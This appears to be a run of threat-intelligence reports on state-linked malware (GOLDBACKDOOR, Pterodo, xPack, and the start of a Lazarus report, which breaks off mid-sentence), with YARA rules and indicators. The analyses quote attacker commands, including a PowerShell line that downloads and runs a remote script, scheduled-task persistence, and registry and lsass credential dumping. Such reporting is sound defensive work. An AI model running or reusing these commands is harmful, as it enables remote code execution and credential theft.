decoding, the PE header of the payload is parsed for its respective EntryPoint1, which is then called to begin the execution of GOLDBACKDOOR. GOLDBACKDOOR The identified copy of GOLDBACKDOOR is a Windows Portable Executable (PE) file with a build timestamp of 9 February 2022 02:38:30 UTC and contains a Program Database (PDB) path reference to D:\Development\GOLD-BACKDOOR\Release\FirstBackdoor.pdb, from which was named. In contrast with the timestamps of files in the ZIP file, which were added within hours of being sent to targets, this executable was created over a month prior, potentially indicating the final payload is not customized on a per-target basis. While it is unclear from this sample alone if individual operators have the ability to generate on-demand unique copies of GOLDBACKDOOR, these types of time deltas can sometimes be reflective of actor groups composed of separated operational and development teams. https://docs.microsoft.com/en-us/windows/win32/debug/pe-format 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report During Stairwell s analysis of this malware, the identified PDB path in GOLDBACKDOOR led to the initial linking of this malware to a copy of BLUELIGHT, reported by Volexity2 in August 2021, containing a PDB path of E:\Development\BACKDOOR\ncov\Release\bluelight.pdb. Based on corresponding build paths, it s likely both malware families were created by a common development resource. GOLDBACKDOOR utilizes cloud service providers for receiving actor commands and exfiltrating data. The sample analyzed as part of this investigation used Microsoft OneDrive and Graph APIs, while an additional identified sample (SHA256 hash: 485246b411ef5ea9e903397a5490d106946a8323aaf79e6041bdf94763a0c028) used Google Drive. Embedded in the analyzed copy of GOLDBACKDOOR are a set of API keys used to authenticate against Azure and retrieve commands for execution. Received commands are prefixed with a single-character value, which denotes the corresponding task requested of the malware. GOLDBACKDOOR provides attackers with basic remote command execution, file downloading/uploading, keylogging, and the ability to remotely uninstall. This functionality and implementation closely match BLUELIGHT; however, the increased focus appears to have been placed on file collection and keylogging. A list of file extensions checked for by this malware are listed below: jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rft, nxl, amr, 3gp, m4a, txt, msg, key, der, cer, docx, xlsx, pptx, pfx, mp3, inf, jog, bin Tracking document While analyzing the deployment chain of GOLDBACKDOOR, NK News provided a second file (SHA256 hash: c5369c2ce7f33d6cd209cd61226a0637adc809b864deb73a98d78bfed0883163) that was sent by the attackers and initially staged on Microsoft OneDrive. Contained in this ZIP file was a single Microsoft Word document named Kang Min-chol Edits 2.doc (SHA256 hash: 18c9fd4f781789cd15cee4fcb18fa983897fc9876422d662a2243ff7499f5948), consistent with the file names from the initial phishing attempt. The content of this document matches that of the decoy document deployed by the LNK file in the previous phishing attempt, with one critical addition. Embedded in the document is a reference to an external image hosted on the cloud application platform Heroku. When viewed in Microsoft Word, if this link returns an image, it will be presented as part of the document; otherwise, it may go unnoticed by a user. When the document is viewed using the GNU strings tool, the embedded link is easily seen: https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/ 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Embedded link in tracking document Based on the URL path and value in the id field corresponding to the document s name, it is likely this was included to give the attacker visibility into when and where the document was opened. This type of operational security tradecraft is generally consistent with sophisticated threat actors with mature offensive programs. Conclusion Tracking cyber threats is an iterative process, and no incident provides us with a complete view into every aspect of a threat actor's history. However, every incident affords us the opportunity to learn something new. Over time, we develop an understanding of the range of an actor's capabilities, objectives, and tradecraft. Based on the presented analysis, the GOLDBACKDOOR malware shares strong technical overlaps with the BLUELIGHT malware. These overlaps, along with the suspected shared development resource and impersonation of NK News, support our attribution of GOLDBACKDOOR to APT37. Stairwell would like to thank NK News for the opportunity to assist in this investigation, the SentinelOne research team for their support, and Volexity for their outstanding prior research into this actor. 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Appendix YARA rules Stairwell's Inception users already have access to these rules automatically. rule NK_GOLDBACKDOOR_LNK meta: author= "Silas Cutler (silas@Stairwell.com)" description = "Detection for LNK file used to deploy GOLDBACKDOOR" version = "0.1" strings: $ = "WINWORD.exe" wide nocase $ = "$won11 =\"$temple=" wide $ = "dirPath -Match 'System32' -or $dirPath -Match 'Program Files'" wide condition: 2 of them and uint16(0) == 0x4c rule NK_GOLDBACKDOOR_LNK_payload meta: author= "Silas Cutler (silas@Stairwell.com)" description = "Detection for obfuscated Powershell contained in LNK file that deploys GOLDBACKDOOR" version = "0.1" strings: $ = "WriteByte($x0, $h-1, ($xmpw4[$h] -bxor $xmpw4[0]" ascii wide nocase condition: all of them rule NK_GOLDBACKDOOR_obf_payload meta: author= "Silas Cutler (silas@Stairwell.com)" description = "Detection for encoded shellcode payload downloaded by LNK file that drops GOLDBACKDOOR" version = "0.1" strings: $init = { e6b3 6d0a 6502 1e67 0aee e7e6 e66b eac2 } condition: 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report $init at 0 rule NK_GOLDBACKDOOR_inital_shellcode meta: author= "Silas Cutler (silas@Stairwell.com)" description = "Detection for initial shellcode loader used to deploy GOLDBACDOOR" version = "0.1" strings: //seg000:07600058 8D 85 70 FE FF FF eax, [ebp+var_190] //seg000:0760005E C7 45 C4 25 6C 6F 63 dword ptr [ebp+var_3C], 'col%' //seg000:07600065 50 push //... //seg000:0760008F C7 45 D8 6F 6C 64 2E dword ptr [ebp+var_3C+14h], '.dlo' //seg000:07600096 C7 45 DC 74 78 74 00 dword ptr [ebp+var_3C+18h], 'txt' $ = { C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45 CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F 67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 } // Import loaders $ = { 51 50 57 56 B9 E6 8E 85 35 E8 ?? ?? ?? ?? FF D0 } $ = { 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ?? ?? ?? ?? FF D0} condition: all of them rule NK_GOLDBACKDOOR_injected_shellcode meta: author= "Silas Cutler (silas@Stairwell.com)" description = "Detection for injected shellcode that decodes GOLDBACKDOOR" version = "0.1" strings: $dec_routine = { 8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83 EE 01 75 F8 5E 57 } $rtlfillmemory_load = {B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0} $ = "StartModule" $log_file_name = {C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C 61 70 50 B9 BD 88 17 75 C7 44 24 4C 70 64 61 74 C7 44 24 50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C 64 32 C7 44 24 5C 2E 74 78 74} 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report $ = { B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 } condition: 3 of them rule NK_GOLDBACKDOOR_generic_shellcode meta: author= "Silas Cutler (silas@Stairwell.com)" description = "Generic detection for shellcode used to drop GOLDBACKDOOR" version = "0.1" strings: $ = { B9 8E 8A DD 8D 8B F0 E8 ?? ?? ?? ?? FF D0 } $ = { B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ?? ?? ?? ?? FF D0 } condition: all of them rule NK_GOLDBACKDOOR_Main meta: author= "Silas Cutler" description = "Detection for Main component of GOLDBACKDOOR" version = "0.1" strings: $str1 = "could not exec bash command." wide $str2 = "%userprofile%\\AppData" wide $str3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.3112.113 Safari/537.36" wide $str4 = "tickount: %d" $str5 = "Service-0x" wide $str6 = "Main Returned" $b64_1 = "TwBuAGUARAByAHYAVQBwAGQAYQB0AGUAAAA=" $b64_2 = "aGFnZW50dHJheQ==" $b64_3 = "YXBwbGljYXRpb24vdm5kLmdvb2dsZS1hcHBzLmZvbGRlcg==" $pdb = "D:\\Development\\GOLD-BACKDOOR\\" condition: 4 of them or ( $pdb and 1 of them ) 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Infrastructure Indicator Type Date Active Description main[.]dailynk[.]us Domain March 2022 Domain used for staging malicious document 142.93.201[.]77 IP address March 2022 IP address main[.]dailynk[.]us resolved to at the time of the incident Files File Name File Type Size SHA256 Hash Kang Min-chol Edits 2.zip Zip archive file 487K 9eddd99db6f5a7791f7e446792f04b301d 29f6b0596920e8b39647cc7585185d Kang Min-chol Edits 2.lnk Windows shortcut file 282.7M 120ca851663ef0ebef585d716c9e2ba67b d4870865160fec3b853156be1159c5 Kang Min-chol Edits 2.doc Microsoft Office Document 526K 94ca32c0a3002574d7ea1bef094146a9d 3b2ad0018b3e3d3f4ffca8689b89e5a Fantasy Binary Data 1.1M 45ece107409194f5f1ec2fbd902d041f055 a914e664f8ed2aa1f90e223339039 (GOLDBACKDOOR) Binary Data 1.1M c02d0f7bc47bfd46bf88cad0648b24118c a77675c77595b68c0da9d91208b1de Kang Min-chol Edits 2.zip (Tracking Document zip) Zip archive file 187K c5369c2ce7f33d6cd209cd61226a0637a dc809b864deb73a98d78bfed0883163 Kang Min-chol Edits 2.doc (Tracking Document) Microsoft Office Document 525K 18c9fd4f781789cd15cee4fcb18fa983897 fc9876422d662a2243ff7499f5948 Windows portable executable 1.2M 485246b411ef5ea9e903397a5490d1069 46a8323aaf79e6041bdf94763a0c028 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report For more information on the intelligence provided in this report, contact us at research@stairwell.com Stairwell helps organizations take back the cybersecurity high ground with solutions that attackers can't evade. Its flagship product, the Inception platform, empowers security teams to outsmart any attacker. Stairwell is composed of security industry leaders and engineers from Google and is backed by Sequoia Capital, Accel, and Gradient Ventures. stairwell.com 04/2022 Shuckworm: Espionage Group Continues Intense Campaign Against Ukraine symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine The Russian-linked Shuckworm espionage group (aka Gamaredon, Armageddon) is continuing to mount an intense cyber campaign against organizations in Ukraine. Shuckworm has almost exclusively focused its operations on Ukraine since it first appeared in 2014. These attacks have continued unabated since the Russian invasion of the country. While the group s tools and tactics are simple and sometimes crude, the frequency and persistence of its attacks mean that it remains one of the key cyber threats facing organizations in the region. Multiple payloads One of the hallmarks of the group s recent activity is the deployment of multiple malware payloads on targeted computers. These payloads are usually different variants of the same malware (Backdoor.Pterodo), designed to perform similar tasks. Each will communicate with a different command-and-control (C&C) server. The most likely reason for using multiple variants is that it may provide a rudimentary way of maintaining persistence on an infected computer. If one payload or C&C server is detected and blocked, the attackers can fall back on one of the others and roll out more new variants to compensate. Symantec s Threat Hunter Team, part of Broadcom Software, has found four distinct variants of Pterodo being used in recent attacks. All of them are Visual Basic Script (VBS) droppers with similar functionality. They will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a C&C server. All of the embedded VBScripts were very similar to one another and used similar obfuscation techniques. Backdoor.Pterodo.B This variant is a modified self-extracting archive, containing obfuscated VBScripts in resources that can be unpacked by 7-Zip. It then adds them as a scheduled task to ensure persistence: CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """UDPSync"" /tr ""wscript.exe """ + hailJPT + """" & " jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0 CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """SyncPlayer"" /tr ""wscript.exe """ + enormouslyAKeIXNE + """" + " jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0 The script also copies itself to [USERPROFILE]\ntusers.ini file. The two newly created files are more obfuscated VBScripts. The first is designed to gather system information, such as the serial number of the C: drive, and sends this information to a C&C server. The second adds another layer of persistence by copying the previously dropped ntusers.ini file to another desktop.ini file. Backdoor.Pterodo.C This variant is also designed to drop VBScripts on the infected computer. When run, it will first engage in API hammering, making multiple meaningless API calls, which is presumably an attempt to avoid sandbox detection. It will then unpack a script and a file called offspring.gif to C:\Users\[username]\. It will call the script with: "wscript "[USERNAME]\lubszfpsqcrblebyb.tbi" //e:VBScript /w /ylq /ib /bxk //b /pgs" This script runs ipconfig /flushdns and executes the offspring.gif file. Offsprint.gif will download a PowerShell script from a random subdomain of corolain.ru and execute it: cvjABuNZjtPirKYVchnpGVop = "$tmp = $(New-Object net.webclient).DownloadString('http://'+ [System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.corolain.ru') +'/get.php'); Invoke-Expression $tmp" Backdoor.Pterodo.D This variant is another VBScript dropper. It will create two files: [USERPROFILE]\atwuzxsjiobk.ql [USERPROFILE]\abide.wav It executes them with the following command: wscript "[USERPROFILE]\atwuzxsjiobk.ql" //e:VBScript /tfj /vy /g /cjr /rxia //b /pyvc Similar to the other variants, the first script will run ipconfig /flushdns before calling the second script and removing the original executable. The second script has two layers of obfuscation, but in the end it downloads the final payload from the domain declined.delivered.maizuko[.]ru and executes it. Backdoor.Pterodo.E The final variant is functionally very similar to variants B and C, engaging in API hammering before extracting two VBScript files to the user s home directory. Script obfuscation is very similar to other variants. Other tools While the attackers have made heavy use of Pterodo during recent weeks, other tools have also been deployed alongside it. These include UltraVNC, an open-source remoteadministration/remote-desktop-software utility. UltraVNC has previously been used by Shuckworm in multiple attacks. In addition to this, Shuckworm has also been observed using Process Explorer, a Microsoft Sysinternals tool designed to provide information about which handles and DLL processes have opened or loaded. Persistent threat While Shuckworm is not the most tactically sophisticated espionage group, it compensates for this in its focus and persistence in relentlessly targeting Ukrainian organizations. It appears that Pterodo is being continuously redeveloped by the attackers in a bid to stay ahead of detection. While Shuckworm appears to be largely focused on intelligence gathering, its attacks could also potentially be a precursor to more serious intrusions, if the access it acquires to Ukrainian organizations is turned over to other Russian-sponsored actors. Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise A full list of IOCs is available here on GitHub. If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. Antlion: Chinese APT Uses Custom Backdoor to Target Financial Institutions in Taiwan symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks The attackers spent a significant amount of time on victim networks. Chinese state-backed advanced persistent threat (APT) group Antlion has been targeting financial institutions in Taiwan in a persistent campaign over the course of at least 18 months. The attackers deployed a custom backdoor we have called xPack on compromised systems, which gave them extensive access to victim machines. The backdoor allowed the attackers to run WMI commands remotely, while there is also evidence that they leveraged EternalBlue exploits in the backdoor. The attackers appeared to have the ability to interact with SMB shares, and it's possible that they used mounted shares over SMB to transfer files from attacker-controlled infrastructure. There is also evidence that the attackers were able to browse the web through the backdoor, likely using it as a proxy to mask their IP address. The goal of this campaign appears to have been espionage, as we saw the attackers exfiltrating data and staging data for exfiltration from infected networks. Technical details As well as the attack on the financial institution outlined in the case study below, Antlion compromised the networks of at least two other organizations in Taiwan, including another financial organization and a manufacturing company. The activity the group carried out on those networks was largely similar to the activity that is detailed in the case study, with the xPack backdoor frequently deployed and a lot of evidence of credential dumping. In the manufacturing target, also, we see the attackers attempting to download malicious files via SMB shares. The attackers also spent a significant amount of time on both these targeted networks, spending close to 250 days on the financial organization and around 175 days on the manufacturing organization. Symantec, a division of Broadcom, cannot state with certainty what the initial infection vector used by the attackers in this campaign was, though in one instance they were seen utilizing the MSSQL service to execute system commands, which indicates that the most likely infection vector was exploitation of a web application or service. However, Antlion are also known to have previously used malicious emails to gain initial access to victim networks. The main custom backdoor used by Antlion in this campaign was the xPack backdoor, which is a custom .NET loader that decrypts (AES), loads, and executes accompanying .bin files. Its decryption password is provided as a command-line argument (Base64 encoded string), and xPack is intended to be run as a standalone application or as a service (xPackSvc variant). The xPack malware and its associated payload seems to be used for initial access; it appears that xPack was predominantly used to execute system commands, drop subsequent malware and tools, and stage data for exfiltration. The attackers also used a custom keylogger and three custom loaders. EHAGBPSL loader - custom loader written in C++ - loaded by JpgRun loader JpgRun loader - customer loader written in C++ - similar to xPack, reads the decryption key and filename from the command line - decodes the file and executes it CheckID - custom loader written in C++ - based on loader used by BlackHole RAT The attackers also used a custom SMB session enumeration tool (NetSessionEnum), a custom bind/reverse file transfer tool named ENCODE MMC, and a Kerberos golden ticket tool based on Mimikatz. The attackers also used a variety of off-the-shelf tools, as well as leveraging living-off-the-land tools such as PowerShell, WMIC, ProcDump, LSASS, and PsExec. The legitimate AnyDesk tool was also abused by the attackers for remote access in one of the victim organizations. The attackers were also observed leveraging exploits such as CVE-2019-1458 for privilege escalation and remote scheduled tasks to execute their backdoor. CVE-2019-1458 is an elevation-of-privilege vulnerability that occurs in Windows when the Win32k component fails to properly handle objects in memory. Legitimate versions of WinRAR appear to have been exploited by the attackers for data exfiltration, while there is also evidence of data exfiltration via PowerShell, specifically using the BitsTransfer module to initiate an upload to attacker-controlled infrastructure. There is also evidence that the attackers likely automated the data collection process via batch scripts, while there is also evidence of instances where data was likely staged for further exfiltration, though it was not actually observed being exfiltrated from the network. In these instances, it appears the attackers were interested in collecting information from software pertaining to business contacts, investments, and smart card readers. Case study: Attack on a financial organization The attackers spent a significant amount of time on victims networks, and deployed both custom and off-the-shelf malware. In one financial sector victim in Taiwan the attackers spent almost nine months on the victim network. The first suspicious activity on this victim network occurred in December 2020 when WMIC was used to execute two commands: wmic process get CSName,Description,ExecutablePath,ProcessId /format: ;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format: ;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl The first command was used to list the computer name, description of processes, executable path, and process ID. The output was written to a suspicious file named htable.xsl under the wbem directory. The second command was used to collect information about the system, which was written out to the same file (htable.xsl). Information collected included: Version of the operating system (OS) The installation date The last time the system was booted The local date and time of the system The manufacturer The registered user Service pack information - this can be used to determine what patches are installed System directory path Five minutes after those commands were issued, WMIC was used to dump credentials: reg save HKLM\SAM CSIDL_COMMON_DOCUMENTS\sam.hiv reg save HKLM\SYSTEM CSIDL_COMMON_DOCUMENTS\sys.hiv reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv The commands listed above were all executed via Antlion s custom xPack backdoor. Several days later, during the Christmas holiday period, the attackers returned over a period of a few days and executed the xPack backdoor again. They also executed an unknown VBS script via PsExec multiple times: ;cscript.exe ; CSIDL_SYSTEM_DRIVE\update.vbs On December 28, the attackers used xPack to launch a command prompt to dump credentials from several machines within the compromised organization with the following commands: upload.exe -accepteula -ma lsass.exe 16.dmp (a renamed version of Sysinternals procdump64.exe) reg save hklm\sam CSIDL_PROFILE\publicsam.hive reg save hklm\system CSIDL_PROFILE\public\system.hive reg save hklm\security CSIDL_PROFILE\public\security.hive Over the following couple of weeks, the attackers continued to return intermittently to launch the xPack backdoor or to dump credentials via the registry. Then, following a few weeks of inactivity, they become active on the infected network once again. The attackers used the xPack backdoor to launch a command prompt to execute the following commands: ;cmd ; /K CHCP 950 CHCP 950 query user ;CSIDL_SYSTEM\quser.exe tasklist /v findstr explorer cmd /c dir ;CSIDL_PROFILE\desktop CSIDL_SYSTEM\cmd.exe /c cmd /c dir \users /b cmd /c dir ;CSIDL_PROFILE\desktop cmd /c dir \users /b reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv rar a -r -hp1qaz@WSX3edc!@# W22-009-099.tmp ;CSIDL_COMMON_DOCUMENTS\w22-009-099_file reg save hklm\system CSIDL_COMMON_DOCUMENTS\system.hiv reg save hklm\sam CSIDL_COMMON_DOCUMENTS\sam.hiv The above commands were used to firstly change the code page to 950, which is the Windows code page for Traditional Chinese. The attackers then executed 'query user' to list any logged-in users on the system, as well as running tasklist to get a list of all the running processes on the system. They also tried to discover what processes were running, before listing all contents of the Desktop directory and the Users directory. After this, the attackers dumped credentials again via the registry. The attackers returned to the network a couple of weeks later and carried out largely the same activity. The attackers remained active on the network for March, April, and May 2021, intermittently returning to launch their xPack backdoor or dump credentials from the registry. Dumping credentials appears to be a main focus of the attackers, with them likely using these credentials to move laterally across the network to identify machines of interest from which they can exfiltrate data. The last activity on this network, after a gap of three months, occurred in August 2021, when the attackers returned and listed all available shares. They then dumped credentials from the registry and proceeded to collect account, group, and workstation configuration information. They then dumped credentials from the registry once again. This was the last activity seen on this network. Experienced actor stays active Antlion is believed to have been involved in espionage activities since at least 2011, and this recent activity shows that it is still an actor to be aware of more than 10 years after it first appeared. The length of time that Antlion was able to spend on victim networks is notable, with the group able to spend several months on victim networks, affording plenty of time to seek out and exfiltrate potentially sensitive information from infected organizations. The targeting of Taiwan is perhaps unsurprising given we know Chinese state-backed groups tend to be interested in organizations in that region. Protection For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise (IOCs) If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file. Type Description SHA2 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 checkID SHA2 12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2 xPack SHA2 e4a15537f767332a7ed08009f4e0c5a7b65e8cbd468eb81e3e20dc8dfc36aeed xPack SHA2 e488f0015f14a0eff4b756d10f252aa419bc960050a53cc04699d5cc8df86c8a xPack SHA2 9456d9a03f5084e44f8b3ad936b706a819ad1dd89e06ace612351b19685fef92 xPack SHA2 730552898b4e99c7f8732a50ae7897fb5f83932d532a0b8151f3b9b13db7d73c xPack SHA2 de9bd941e92284770b46f1d764905106f2c678013d3793014bdad7776540a451 xPack SHA2 390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66 xPack SHA2 4331d1610cdedba314fc71b6bed35fea03bc49241eb908a70265c004f5701a29 xPack SHA2 9b5168a8f2950e43148fe47576ab3ac5b2cfa8817b124691c50d2c77207f6586 xPack SHA2 a74cb0127a793a7f4a616613c5aae72142c1166f4bb113247e734f0efd48bdba xPack SHA2 e5259b6527e8612f9fd9bba0b69920de3fd323a3711af39f2648686fa139bc38 xPack SHA2 eb7a23136dc98715c0a3b88715aa7e936b88adab8ebae70253a5122b8a402df3 xPack SHA2 789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed Keylogger Type Description SHA2 3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d Keylogger SHA2 443f4572ed2aec06d9fb3a190de21bfced37c0cd2ee03dd48a0a7be762858925 JpgRun SHA2 f4534e04caced1243bd7a9ce7b3cd343bf8f558982cbabff93fa2796233fe929 JpgRun SHA2 e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2 EHAGBPSL SHA2 0bbb477c1840e4a00d0b6cd3bd8121b23e1ce03a5ad738e9aa0e5e0b2e1e1fea EHAGBPSL SHA2 55636c8a0baa9b57e52728c12dd969817815ba88ec8c8985bd20f23acd7f0537 EHAGBPSL SHA2 2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632 EHAGBPSL SHA2 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 checkID SHA2 29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78 checkID SHA2 f7cab241dac6e7db9369a4b85bd52904022055111be2fc413661239c3c64af3d checkID SHA2 2aa52776965b37668887a53dcd2374fc2460293b73c897de5d389b672e1313ff checkID SHA2 79a37464d889b41b7ea0a968d3e15e8923a4c0889f61410b94f5d02458cb9eed checkID SHA2 48d41507f5fc40a310fcd9148b790c29aeb9458ff45f789d091a9af114f26f43 NetSessionEnum SHA2 f01a4841f022e96a5af613eb76c6b72293400e52787ab228e0abb862e5a86874 SHA2 e1a0c593c83e0b8873278fabceff6d772eeaaac96d10aba31fcf3992bc1410e5 SHA2 dfee6b3262e43d85f20f4ce2dfb69a8d0603bb261fb3dfa0b934543754d5128b Mimikatz Yara Rules rule xpack_loader meta: author = "Symantec, a division of Broadcom" hash = "12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2" strings: $s1 = "Length or Hash destoryed" wide fullword $s2 = "tag unmatched" wide fullword $s3 = "File size mismatch" wide fullword $s4 = "DESFile" wide fullword $p1 = "fomsal.Properties.Resources.resources" wide fullword $p2 = "xPack.Properties.Resources.resources" wide fullword $p3 = "foslta.Properties.Resources.resources" wide fullword condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($s*) or any of ($p*)) rule xpack_service meta: author = "Symantec, a division of Broadcom" hash = "390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66" strings: $s1 = "C:\\Windows\\inf\\wdnvsc.inf" wide fullword $s2 = "PackService" wide fullword $s3 = "xPackSvc" wide fullword $s4 = "eG#!&5h8V$" wide fullword condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 3 of them rule EHAGBPSL_loader meta: author = "Symantec, a division of Broadcom" hash = "e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2" hash = "2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632" strings: $s1 = {45 00 00 00 48 00 00 00 41 00 00 00 47 00 00 00 42 00 00 00 50 00 00 00 53 00 00 00 4C} // EHAGBPSL $s2 = {74 00 00 00 61 00 00 00 72 00 00 00 57 00 00 00 6F 00 00 00 6B} // tarWok $b1 = "bnRtZ3M=" fullword // ntmgs $b2 = "TmV0d29yayBNYW5hZ2VtZW50IFNlcnZpY2U=" fullword // Network Management Service $b3 = "UHJvdmlkZXMgYWJpbGl0eSB0byBtYW5hZ2UgbmV0d29yayBvdmVyIHRoZSBuZXQgcHJvdG9jb2wu" fullword // Provides ability to manage network over the net protocol. $b4 = "bnRtZ3MuZG" // ntmgs.dll / ntmgs.dat $b5 = "aW1nMS5qcGc=" fullword // img1.jpg $c1 = "Wscms.nls" fullword $c2 = "Wscms.dat" fullword $c3 = "Wscms.dll" fullword $c4 = "Wscms.ini" fullword $c5 = "Images01.jpg" fullword $e1 = "StartWork" fullword $e2 = "ServiceMain" fullword $h1 = {DD 9C BD 72} // CreateRemoteThread $h2 = {C0 97 E2 EF} // OpenProcess $h3 = {32 6D C7 D5} // RegisterServiceCtrlHandlerA $h4 = {A1 6A 3D D8} // WriteProcessMemory condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of ($e*) and (all of ($s*) or any of ($b*) or 3 of ($c*) or all of ($h*)) rule keylogger meta: author = "Symantec, a division of Broadcom" hash = "3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d" hash = "789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed" strings: $m1 = "BKB_Test" fullword $m2 = "KLG_sd76bxds1N" fullword $k1 = "[%d/%02d/%02d %02d:%02d:%02d K-E-Y-L-O-G]" fullword $k2 = "[%d/%02d/%02d %02d:%02d:%02d C-L-I-P-B-D]" fullword $k3 = "< Title--%s-- >" fullword $k4 = "ImpersonateLoggedOnUser Error(%d)" fullword $f1 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 6B 65 79 2E} // Userkey. $f2 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 64 61 74 2E} // Userdat. condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($k*) or (any of ($m*) and any of ($f*))) rule checkid_loader meta: author = "Symantec, a division of Broadcom" description = "BlackHole/BlackSwan / QuasarRAT/xClient loader" hash = "29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78" strings: $s1 = "Call %s.%s(\"%s\") => %d" fullword wide $s2 = "Assembly::CreateInstance failed w/hr 0x%08lx" fullword wide $s3 = "checkID" $s4 = "NULL == checkID hMutex" fullword $s5 = "checkID Mutex ERROR_ALREADY_EXISTS" fullword $s6 = "dllmain mutex ERROR_ALREADY_EXISTS" fullword $x1 = "xClient.Program" fullword wide $x2 = "LoadPayload" fullword $m1 = "SFZJ_Wh16gJGFKL" ascii wide $m2 = "d5129799-e543-4b8b-bb1b-e0cba81bccf8" ascii wide $m3 = "USA_HardBlack" ascii wide $b1 = "BlackHole.Slave.Program" fullword wide $b2 = "NuGet\\Config" wide $b3 = "VisualStudio.cfi" wide $p = {E1 F6 3C AC AF AC AC AC A8 AC AC AC 53 53 AC AC 14} $t = "0s+Nksjd1czZ1drJktPO24aEjISMtsvLy5LJzNjdyNnL1dLY08uS39PRhoSMhIy2jYyPkomNko2IjJKEiIaEjISM" condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 2 of ($s*) and (all of ($x*) or any of ($m*) or all of ($b*) or $p or $t) The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. Lazarus Targets Chemical Sector symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical Symantec, a division of Broadcom Software, has observed the North Korea-linked advanced persistent threat (APT) group known as Lazarus conducting an espionage campaign targeting organizations operating within the chemical sector. The campaign appears to be a continuation of Lazarus activity dubbed Operation Dream Job, which was first observed in August 2020. Symantec tracks this sub-set of Lazarus activity under the name Pompilus. Operation Dream Job Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into clicking on malicious links or opening malicious attachments that eventually lead to the installation of malware used for espionage. Past Dream Job campaigns have targeted individuals in the defense, government, and engineering sectors in activity observed in August 2020 and July 2021. Recently targeted sectors In January 2022, Symantec detected attack activity on the networks of a number of organizations based in South Korea. The organizations were mainly in the chemical sector, with some being in the information technology (IT) sector. However, it is likely the IT targets were used as a means to gain access to chemical sector organizations. There is sufficient evidence to suggest that this recent activity is a continuation of Operation Dream Job. That evidence includes file hashes, file names, and tools that were observed in previous Dream Job campaigns. A typical attack begins when a malicious HTM file is received, likely as a malicious link in an email or 